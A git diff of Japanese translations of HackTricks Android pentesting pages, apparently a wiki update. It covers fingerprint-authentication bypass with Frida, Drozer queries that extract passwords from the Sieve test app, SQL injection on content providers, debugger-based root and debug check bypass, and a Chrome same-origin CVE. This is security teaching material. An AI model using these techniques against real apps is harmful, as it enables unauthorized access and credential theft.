script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) by WithSecure addresses bypassing insecure crypto object usage. The script invokes _onAuthenticationSucceeded_ with a _CryptoObject_ that hasn't been authorized by a fingerprint. If the application tries to use a different cipher object, it will trigger an exception. The script prepares to invoke _onAuthenticationSucceeded_ and handle the _javax.crypto.IllegalBlockSizeException_ in the _Cipher_ class, ensuring subsequent objects used by the application are encrypted with the new key.
@ -46,7 +46,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
``` ```
## **方法 4 リバースエンジニアリングとコード修正** ## **方法 4 リバースエンジニアリングとコード修正**
リバースエンジニアリングツールとして `APKTool``dex2jar`および `JD-GUI` を使用して、Androidアプリケーションを逆コンパイルし、そのソースコードを読み、認証メカニズムを理解することができます。一般的な手順は次のとおりです: リバースエンジニアリングツールとして `APKTool``dex2jar``JD-GUI` を使用して、Androidアプリケーションを逆コンパイルし、そのソースコードを読み、認証メカニズムを理解することができます。一般的な手順は以下の通りです:
1. **APKの逆コンパイル**: APKファイルをより人間が読みやすい形式Javaコードなどに変換します。 1. **APKの逆コンパイル**: APKファイルをより人間が読みやすい形式Javaコードなどに変換します。
2. **コードの分析**: 指紋認証の実装を探し、潜在的な弱点(フォールバックメカニズムや不適切な検証チェックなど)を特定します。 2. **コードの分析**: 指紋認証の実装を探し、潜在的な弱点(フォールバックメカニズムや不適切な検証チェックなど)を特定します。
@ -54,10 +54,10 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
## **方法 5 カスタム認証ツールの使用** ## **方法 5 カスタム認証ツールの使用**
認証メカニズムをテストおよびバイパスするために設計された専門的なツールやスクリプトがあります。例えば: 認証メカニズムをテストし、バイパスするために設計された専門的なツールやスクリプトがあります。例えば:
1. **MAGISKモジュール**: MAGISKは、ユーザーがデバイスをルート化し、指紋を含むハードウェアレベルの情報を修正または偽装できるモジュールを追加するためのAndroid用ツールです。 1. **MAGISKモジュール**: MAGISKはAndroid用のツールで、ユーザーがデバイスをルート化し、指紋を含むハードウェアレベルの情報を修正または偽装するモジュールを追加できます。
2. **カスタムビルドスクリプト**: スクリプトはAndroidデバッグブリッジADBと対話するか、アプリケーションのバックエンドと直接対話して指紋認証をシミュレートまたはバイパスするために作成できます。 2. **カスタムビルドスクリプト**: スクリプトはAndroidデバッグブリッジADBと対話するか、アプリケーションのバックエンドと直接対話して指紋認証をシミュレートまたはバイパスするために書かれることがあります。
## 参考文献 ## 参考文献

View File

@ -12,11 +12,11 @@ $ content query --uri content://media/external/file
```bash ```bash
$ content query --uri content://media/external/file --projection _id,_data $ content query --uri content://media/external/file --projection _id,_data
``` ```
コンテンツプロバイダーは、それぞれのプライベートネームスペースに隔離されています。プロバイダーへのアクセスには特定の `content://` URI が必要です。プロバイダーにアクセスするためのパスに関する情報は、アプリケーションマニフェストやAndroidフレームワークのソースコードから取得できます。 コンテンツプロバイダーは、それぞれのプライベートネームスペースに隔離されています。プロバイダーへのアクセスには特定の `content://` URI が必要です。プロバイダーにアクセスするためのパスに関する情報は、アプリケーションマニフェストやAndroidフレームワークのソースコードから取得できます。
### Chromeのコンテンツプロバイダーへのアクセス ### Chromeのコンテンツプロバイダーへのアクセス
AndroidのChromeは`content://` スキームを通じてコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます AndroidのChromeは `content://` スキームを通じてコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます
メディアストアにカスタムエントリを挿入する: メディアストアにカスタムエントリを挿入する:
```bash ```bash
@ -34,17 +34,17 @@ content query --uri content://media/external/file \
``` ```
ファイルは、ファイルの識別子を使用して構築されたURLでChromeで表示できます。 ファイルは、ファイルの識別子を使用して構築されたURLでChromeで表示できます。
たとえば、特定のアプリケーションに関連するファイルをリストするには: えば、特定のアプリケーションに関連するファイルをリストするには:
```bash ```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name> content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
``` ```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass ### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
_Same Origin Policy_ (SOP) は、異なるオリジンからのリソースとの相互作用を制限するブラウザのセキュリティプロトコルであり、Cross-Origin-Resource-Sharing (CORS) ポリシーによって明示的に許可されない限り、ウェブページが他のオリジンと相互作用することを制限します。このポリシーは、情報漏洩やクロスサイトリクエストフォージェリを防ぐことを目的としています。Chromeは `content://` をローカルスキームと見なし、各ローカルスキームURLを別のオリジンとして扱うため、より厳格なSOPルールが適用されます。 _同一オリジンポリシー_ (SOP) は、ブラウザにおけるセキュリティプロトコルであり、明示的にクロスオリジンリソースシェアリング (CORS) ポリシーによって許可されない限り、ウェブページが異なるオリジンのリソースと相互作用することを制限します。このポリシーは、情報漏洩やクロスサイトリクエストフォージェリを防ぐことを目的としています。Chromeは`content://`をローカルスキームと見なし、各ローカルスキームURLが別々のオリジンとして扱われるため、より厳格なSOPルールが適用されます。
しかし、CVE-2020-6516は、`content://` URLを介して読み込まれたリソースのSOPルールをバイパスすることを可能にするChromeの脆弱性でした。実際、`content://` URLからのJavaScriptコードは、他の`content://` URLを介して読み込まれたリソースにアクセスでき、特にAndroid 10以前のバージョンでスコープストレージが実装されていないデバイスにおいては、重大なセキュリティ上の懸念がありました。 しかし、CVE-2020-6516は、`content://` URLを介して読み込まれたリソースのSOPルールをバイパスすることを可能にするChromeの脆弱性でした。実際、`content://` URLからのJavaScriptコードは、他の`content://` URLを介して読み込まれたリソースにアクセスでき、特にAndroid 10以前のバージョンでスコープストレージが実装されていないデバイスにおいては、重大なセキュリティ上の懸念がありました。
以下の概念実証は、この脆弱性を示しており、HTMLドキュメントが**/sdcard**の下にアップロードされ、Media Storeに追加された後、JavaScript内で`XMLHttpRequest`を使用してMedia Store内の別のファイルの内容にアクセスし表示し、SOPルールをバイパスします。 以下の概念実証は、この脆弱性を示しており、HTMLドキュメントが**/sdcard**の下にアップロードされ、メディアストアに追加された後、JavaScript内の`XMLHttpRequest`を使用してメディアストア内の別のファイルの内容にアクセスし表示し、SOPルールをバイパスします。
Proof-of-Concept HTML: Proof-of-Concept HTML:
```xml ```xml

View File

@ -1,19 +1,19 @@
# Drozer チュートリアル # Drozer Tutorial
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## テストする APK ## テストするAPKs
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs から) - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabsから)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**このチュートリアルの一部は** [**Drozer ドキュメント pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抜粋されました。** **このチュートリアルの一部は** [**Drozerドキュメントpdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抜粋されました。**
## インストール ## インストール
ホスト内に Drozer クライアントをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。 ホスト内にDrozer Clientをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
```bash ```bash
pip install drozer-2.4.4-py2-none-any.whl pip install drozer-2.4.4-py2-none-any.whl
pip install twisted pip install twisted
@ -29,30 +29,30 @@ adb install drozer.apk
```bash ```bash
adb forward tcp:31415 tcp:31415 adb forward tcp:31415 tcp:31415
``` ```
最後に、**アプリケーション**を**起動**し、下の「**ON**」を押します。 最後に、**アプリケーション**を**起動**し、下の "**ON**" を押します。
![](<../../../images/image (459).png>) ![](<../../../images/image (459).png>)
そして、それに接続します: そして接続します:
```bash ```bash
drozer console connect drozer console connect
``` ```
## 興味深いコマンド ## 興味深いコマンド
| **コマンド** | **説明** | | **コマンド** | **説明** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | 選択したモジュールのヘルプを表示します | | **Help MODULE** | 選択したモジュールのヘルプを表示します |
| **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限がないモジュールは非表示になります。 | | **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限がないモジュールは非表示になります。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 | | **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **clean** | Androidデバイス上にdrozerが保存した一時ファイルを削除します。 | | **clean** | Androidデバイス上にdrozerが保存した一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 | | **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 | | **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 | | **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
| **set** | drozerによって生成される任意のLinuxシェルに環境変数として渡される変数に値を格納します。 | | **set** | drozerによって生成される任意のLinuxシェルに環境変数として渡される変数に値を格納します。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 | | **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します | | **run MODULE** | drozerモジュールを実行します |
| **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` | | **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` | | **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` |
### パッケージ ### パッケージ
@ -130,7 +130,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
### コンテンツプロバイダー ### コンテンツプロバイダー
この投稿はここに収まりきらないので、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。 この投稿はここに収まりきらないので、**こちらで独自のページにアクセスできます**[**ここ**](exploiting-content-providers.md)。
### サービス ### サービス
@ -164,7 +164,7 @@ app.service.stop Stop Service
![](<../../../images/image (1079).png>) ![](<../../../images/image (1079).png>)
最初に"_msg.what_"の中のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\ 最初に"_msg.what_"の中のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\
`--extra`オプションを使用すると、"_msg.replyTo_"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成します。 `--extra`オプションを使用すると、"_msg.replyTo_"によって解釈される何かを送信でき、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成します。
次の例では: 次の例では:
@ -228,7 +228,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
``` ```
### Is debuggeable ### Is debuggeable
生産用APKは決してデバッグ可能であってはなりません。\ プロダクションAPKは決してデバッグ可能であってはなりません。\
これは、**Javaデバッガ**を実行中のアプリケーションにアタッチし、実行時に検査し、ブレークポイントを設定し、ステップバイステップで進み、変数の値を収集し、さらにはそれらを変更することができることを意味します。[InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. これは、**Javaデバッガ**を実行中のアプリケーションにアタッチし、実行時に検査し、ブレークポイントを設定し、ステップバイステップで進み、変数の値を収集し、さらにはそれらを変更することができることを意味します。[InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code.
アプリケーションがデバッグ可能な場合、マニフェストに表示されます: アプリケーションがデバッグ可能な場合、マニフェストに表示されます:

View File

@ -1,24 +1,24 @@
# コンテンツプロバイダーの悪用 # Exploiting Content Providers
## コンテンツプロバイダーの悪用 ## Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## イントロ ## Intro
データは**アプリケーションから他のアプリケーションに**要求に応じて、**コンテンツプロバイダー**として知られるコンポーネントによって供給されます。これらの要求は**ContentResolverクラス**のメソッドを通じて管理されます。コンテンツプロバイダーは、データを**データベース**、**ファイル**、または**ネットワーク**のさまざまな場所に保存できます。 データは**あるアプリケーションから他のアプリケーションに**要求に応じて、**コンテンツプロバイダー**として知られるコンポーネントによって供給されます。これらの要求は**ContentResolverクラス**のメソッドを通じて管理されます。コンテンツプロバイダーは、データを**データベース**、**ファイル**、または**ネットワーク**などのさまざまな場所に保存できます。
_Manifest.xml_ファイルでは、コンテンツプロバイダーの宣言が必要です。例えば _Manifest.xml_ファイルでは、コンテンツプロバイダーの宣言が必要です。例えば:
```xml ```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider"> <provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/> <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider> </provider>
``` ```
`content://com.mwr.example.sieve.DBContentProvider/Keys`にアクセスするには、`READ_KEYS`権限が必要です。興味深いことに、開発者のミスにより、`/Keys`は保護されているが、`/Keys/`はアクセス可能な次のセクションであることに注意してください `content://com.mwr.example.sieve.DBContentProvider/Keys`にアクセスするには、`READ_KEYS`権限が必要です。興味深いことに、パス`/Keys/`は以下のセクションでアクセス可能であり、これは開発者のミスにより保護されていません。開発者は`/Keys`を保護しましたが、`/Keys/`を宣言しました
**おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパストラバーサル)を悪用することができます。** **おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパストラバーサルを悪用することができます。**
## **公開されたコンテンツプロバイダー**から情報を取得する ## **露出したコンテンツプロバイダー**から情報を取得する
``` ```
dz> run app.provider.info -a com.mwr.example.sieve dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve Package: com.mwr.example.sieve
@ -40,7 +40,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True Multiprocess Allowed: True
Grant Uri Permissions: False Grant Uri Permissions: False
``` ```
**DBContentProvider**に到達する方法を組み立てることは、URIを「_content://_」で始めることで可能です。このアプローチは、Drozerを使用して得られた洞察に基づいており、重要な情報は_/Keys_ディレクトリにありました。 「_content://_」で始まるURIを使用することで、**DBContentProvider**に到達する方法を組み立てること可能です。このアプローチは、Drozerを使用して得られた洞察に基づいており、重要な情報は_/Keys_ディレクトリにありました。
Drozerは**いくつかのURIを推測して試すことができます**: Drozerは**いくつかのURIを推測して試すことができます**:
``` ```
@ -54,7 +54,7 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/ content://com.mwr.example.sieve.DBContentProvider/Passwords/
``` ```
あなたは**ContentProviderコード**をチェックしてクエリを探すべきです: あなたはまた、**ContentProviderコード**をチェックしてクエリを探すべきです:
![](<../../../images/image (121) (1) (1) (1).png>) ![](<../../../images/image (121) (1) (1) (1).png>)
@ -67,15 +67,15 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/
## **データベースバックのContent Providers** ## **データベースバックのContent Providers**
おそらくほとんどのContent Providersは**データベース**の**インターフェース**として使用されています。したがって、アクセスできれば、情報を**抽出、更新、挿入、削除**できる可能性があります。\ おそらくほとんどのContent Providersは**データベース**の**インターフェース**として使用されています。したがって、アクセスできれば、情報を**抽出、更新、挿入、削除**できる可能性があります。\
**機密情報にアクセスできるか**確認するか、**認証**メカニズムを**回避**するためにそれを変更しようとしてください。 **機密情報にアクセスできるか**確認するか、**認証**メカニズムを**回避**するために変更を試みてください。
Content Providerのコードをチェックする際は、_query、insert、update、delete_のような名前の**関数**も**探してください** Content Providerのコードをチェックする際には、_query、insert、update、delete_のように名前付けされた**関数**も**探してください**
![](<../../../images/image (887).png>) ![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
れらを呼び出すことができるからです。 れらを呼び出すことができるからです。
### クエリコンテンツ ### クエリコンテンツ
``` ```
@ -87,7 +87,7 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
- -
email: incognitoguy50@gmail.com email: incognitoguy50@gmail.com
``` ```
### コンテンツの挿入 ### Insert content
データベースをクエリすることで、**カラムの名前**を学び、その後、DBにデータを挿入できるようになります データベースをクエリすることで、**カラムの名前**を学び、その後、DBにデータを挿入できるようになります
@ -97,17 +97,17 @@ email: incognitoguy50@gmail.com
_挿入と更新では、--stringを使用して文字列を示し、--doubleを使用してダブルを示し、--float、--integer、--long、--short、--booleanを使用できます_ _挿入と更新では、--stringを使用して文字列を示し、--doubleを使用してダブルを示し、--float、--integer、--long、--short、--booleanを使用できます_
### コンテンツの更新 ### Update content
カラムの名前を知ることで、**エントリを修正**することもできます: カラムの名前を知ることで、**エントリを修正**することもできます:
![](<../../../images/image (780).png>) ![](<../../../images/image (780).png>)
### コンテンツの削除 ### Delete content
![](<../../../images/image (423).png>) ![](<../../../images/image (423).png>)
### **SQLインジェクション** ### **SQL Injection**
**(SQLite)** に対するSQLインジェクションをテストするのは簡単で、**プロジェクション**と**選択フィールド**を操作することで、コンテンツプロバイダーに渡されます。\ **(SQLite)** に対するSQLインジェクションをテストするのは簡単で、**プロジェクション**と**選択フィールド**を操作することで、コンテンツプロバイダーに渡されます。\
コンテンツプロバイダーをクエリする際に、情報を検索するための2つの興味深い引数があります_--selection_ と _--projection_ コンテンツプロバイダーをクエリする際に、情報を検索するための2つの興味深い引数があります_--selection_ と _--projection_

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# **ルートおよびデバッグ可能チェックの回避** # **ルートおよびデバッグ可能チェックのバイパス**
この投稿のこのセクションは、投稿の要約です [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) この投稿のセクションは、投稿の要約です [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
## Androidアプリをデバッグ可能にし、チェックを回避する手順 ## Androidアプリをデバッグ可能にし、チェックをバイパスする手順
### **アプリをデバッグ可能にする** ### **アプリをデバッグ可能にする**
@ -30,7 +30,7 @@
- コマンド: `adb shell am setup-debug-app w <package_name>` - コマンド: `adb shell am setup-debug-app w <package_name>`
- **注意:** このコマンドは、アプリケーションを開始する前に毎回実行する必要があります。 - **注意:** このコマンドは、アプリケーションを開始する前に毎回実行する必要があります。
- 永続性を持たせるために、`adb shell am setup-debug-app w -persistent <package_name>`を使用します。 - 永続性ために、`adb shell am setup-debug-app w -persistent <package_name>`を使用します。
- すべてのフラグを削除するには、`adb shell am clear-debug-app <package_name>`を使用します。 - すべてのフラグを削除するには、`adb shell am clear-debug-app <package_name>`を使用します。
5. **Android Studioでデバッグの準備をする:** 5. **Android Studioでデバッグの準備をする:**
@ -39,13 +39,13 @@
- 再コンパイルしたAPKを開きます。 - 再コンパイルしたAPKを開きます。
6. **重要なJavaファイルにブレークポイントを設定する:** 6. **重要なJavaファイルにブレークポイントを設定する:**
- `MainActivity.java`(特に`onCreate`メソッド)、`b.java`、および`ContextWrapper.java`にブレークポイントを置きます。 - `MainActivity.java`(特に`onCreate`メソッド)、`b.java`、および`ContextWrapper.java`にブレークポイントを配置します。
### **チェックの回避** ### **チェックのバイパス**
アプリケーションは、特定のポイントでデバッグ可能かどうかを確認し、ルートデバイスを示すバイナリもチェックします。デバッガを使用してアプリ情報を変更し、デバッグ可能ビットを解除し、検索されたバイナリの名前を変更してこれらのチェックを回避できます。 アプリケーションは、特定のポイントでデバッグ可能かどうかを確認し、ルートデバイスを示すバイナリもチェックします。デバッガを使用してアプリ情報を変更し、デバッグ可能ビットを解除し、検索されたバイナリの名前を変更してこれらのチェックをバイパスできます。
デバッグ可能チェックについて: デバッグ可能チェックのために:
1. **フラグ設定を変更する:** 1. **フラグ設定を変更する:**
- デバッガコンソールの変数セクションで、`this mLoadedAPK -> mApplicationInfo -> flags = 814267974`に移動します。 - デバッガコンソールの変数セクションで、`this mLoadedAPK -> mApplicationInfo -> flags = 814267974`に移動します。
@ -53,13 +53,13 @@
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
これらの手順は、アプリケーションがデバッグ可能であり、特定のセキュリティチェックをデバッガを使用して回避できることを保証し、アプリケーションの動作のより詳細な分析や変更を促進します。 これらの手順は、アプリケーションがデバッグ可能であり、特定のセキュリティチェックをデバッガを使用してバイパスできることを保証し、アプリケーションの動作のより詳細な分析や変更を促進します。
ステップ2では、フラグ値を814267972に変更することが含まれ、これはバイナリで110000101101000000100010100として表されます。 ステップ2では、フラグ値を814267972に変更することが含まれ、これはバイナリで110000101101000000100010100として表されます。
# **脆弱性の悪用** # **脆弱性の悪用**
ボタンとテキストビューを含む脆弱なアプリケーションを使用しデモが提供されました。最初にアプリケーションは「Crack Me」と表示します。目的は、ソースコードを変更せずに、実行時に「Try Again」から「Hacked」にメッセージを変更することです。 ボタンとテキストビューを含む脆弱なアプリケーションを使用しデモが提供されました。最初にアプリケーションは「Crack Me」と表示します。目的は、ソースコードを変更せずに、実行時に「Try Again」から「Hacked」にメッセージを変更することです。
## **脆弱性の確認** ## **脆弱性の確認**
@ -81,7 +81,7 @@
- `locals``next`、および`set`コマンドを使用してローカル変数を検査および変更し、「Try Again」メッセージを「Hacked」に変更しました。 - `locals``next`、および`set`コマンドを使用してローカル変数を検査および変更し、「Try Again」メッセージを「Hacked」に変更しました。
- 修正されたコードは`run`コマンドを使用して実行され、アプリケーションの出力がリアルタイムで変更されました。 - 修正されたコードは`run`コマンドを使用して実行され、アプリケーションの出力がリアルタイムで変更されました。
この例は、デバッグ可能なアプリケーションの動作がどのように操作できるかを示し、アプリケーションのコンテキスト内でデバイスへのシェルアクセスを取得するなどより複雑な悪用の可能性を強調しています。 この例は、デバッグ可能なアプリケーションの動作がどのように操作できるかを示し、アプリケーションのコンテキスト内でデバイスへのシェルアクセスを取得するなどより複雑な悪用の可能性を強調しています。
## 参考文献 ## 参考文献

View File

@ -2,7 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## インストール ## インストール
**frida tools** をインストールします: **frida tools** をインストールします:
@ -10,8 +9,8 @@
pip install frida-tools pip install frida-tools
pip install frida pip install frida
``` ```
**Androidに** **frida server** **ダウンロードしてインストール** します ([Download the latest release](https://github.com/frida/frida/releases)).\ **Androidに** **frida server** を**ダウンロードしてインストール**します ([Download the latest release](https://github.com/frida/frida/releases)).\
adbをルートモードで再起動し、接続しfrida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するためのワンライナー: adbをルートモードで再起動し、接続しfrida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するためのワンライナー:
```bash ```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
``` ```
@ -142,7 +141,7 @@ send("Decrypted flag: " + flag)
return ret //[B return ret //[B
} }
``` ```
### フック関数と入力呼び出す ### フック関数と入力を使って呼び出す
文字列を受け取る関数をフックし、別の文字列で呼び出します([こちら](https://11x256.github.io/Frida-hooking-android-part-2/)から)。 文字列を受け取る関数をフックし、別の文字列で呼び出します([こちら](https://11x256.github.io/Frida-hooking-android-part-2/)から)。
```javascript ```javascript
@ -157,7 +156,7 @@ console.log("Return value: " + ret)
return ret return ret
} }
``` ```
### に作成されたクラスのオブジェクトを取得する ### すでに作成されたクラスのオブジェクトを取得する
作成されたオブジェクトの属性を抽出したい場合は、これを使用できます。 作成されたオブジェクトの属性を抽出したい場合は、これを使用できます。

View File

@ -8,7 +8,7 @@
## Python ## Python
Fridaを使用すると、実行中のアプリケーションの関数内に**JavaScriptコード****挿入**できます。しかし、**python**を使用して**フック**を**呼び出す**ことや、**フック**と**対話する**こともできます。 Fridaを使用すると、**実行中のアプリケーションの関数内にJavaScriptコードを挿入**できます。しかし、**python**を使用して**フックを呼び出し**、さらには**フックと対話**することもできます。
これは、このチュートリアルで提案されたすべての例で使用できる簡単なpythonスクリプトです: これは、このチュートリアルで提案されたすべての例で使用できる簡単なpythonスクリプトです:
```python ```python
@ -27,7 +27,7 @@ sys.stdin.read()
```bash ```bash
python hooking.py <hookN.js> python hooking.py <hookN.js>
``` ```
PythonをFridaと一緒に使う方法を知っておくことは便利ですが、これらの例ではコマンドラインFridaツールを直接呼び出すこともできます。 PythonをFridaと一緒に使う方法を知っておくことは便利ですが、これらの例ではコマンドラインFridaツールを直接呼び出すこともできます。
```bash ```bash
frida -U --no-pause -l hookN.js -f infosecadventures.fridademo frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
``` ```

View File

@ -48,7 +48,7 @@ onComplete: function () { }
}); });
}); });
``` ```
最初に _java.lang.String_ クラスを参照し、その後に文字列を内容として持つ _$new_ オブジェクトを作成していることがわかります。これがクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun()` に任意の文字列を渡すことができます。例えば: `this.fun("hey there!")` 最初に、Stringを作成するために、_java.lang.String_クラスを参照し、その後、Stringを内容として持つ_$new_オブジェクトを作成したことがわかります。これはクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun()`に任意のStringを渡すことができます。例えば`this.fun("hey there!")`
### Python ### Python
```python ```python

View File

@ -8,7 +8,7 @@
**objection - ランタイムモバイル探索** **objection - ランタイムモバイル探索**
[**Objection**](https://github.com/sensepost/objection) は、[Frida](https://www.frida.re) によって提供されるランタイムモバイル探索ツールキットです。これは、脱獄ルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。 [**Objection**](https://github.com/sensepost/objection) は、[Frida](https://www.frida.re) によって提供されるランタイムモバイル探索ツールキットです。これは、脱獄またはルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。
**注意:** これは脱獄/ルートバイパスの一形態ではありません。`objection`を使用することで、直面している適用可能なサンドボックスによって課せられたすべての制限に依然として制約されます。 **注意:** これは脱獄/ルートバイパスの一形態ではありません。`objection`を使用することで、直面している適用可能なサンドボックスによって課せられたすべての制限に依然として制約されます。
@ -86,9 +86,9 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
実際のアプリケーションでは、**静的分析**のおかげで、この部分で発見されたすべての情報を使用する前に知っておくべきです。それでも、この方法では、クラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか得られないため、**新しい何か**を見ることができるかもしれません。 実際のアプリケーションでは、**静的分析**のおかげで、この部分で発見されたすべての情報を使用する前に知っておくべきです。それでも、この方法では、クラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか得られないため、**新しい何か**を見ることができるかもしれません。
これは、アプリの**可読なソースコードを取得できない**場合にも役立ちます。 これは、アプリの**読みやすいソースコードを取得できない**場合にも役立ちます。
#### アクティビティ、レシーバー、およびサービスのリスト #### アクティビティ、レシーバー、サービスのリスト
```bash ```bash
android hooking list activities android hooking list activities
``` ```
@ -159,7 +159,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
#### 関数のブール戻り値を変更する #### 関数のブール戻り値を変更する
ソースコードから、関数_checkPin_が引数として_String_を受け取り、_boolean_を返すことがわかります。関数を**常にtrueを返す**ようにしましょう: ソースコードから、関数 _checkPin__String_ を引数として受け取り、_boolean_ を返すことがわかります。関数を**常にtrueを返す**ようにしましょう:
![](<../../../images/image (883).png>) ![](<../../../images/image (883).png>)
@ -169,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### クラスインスタンス ### クラスインスタンス
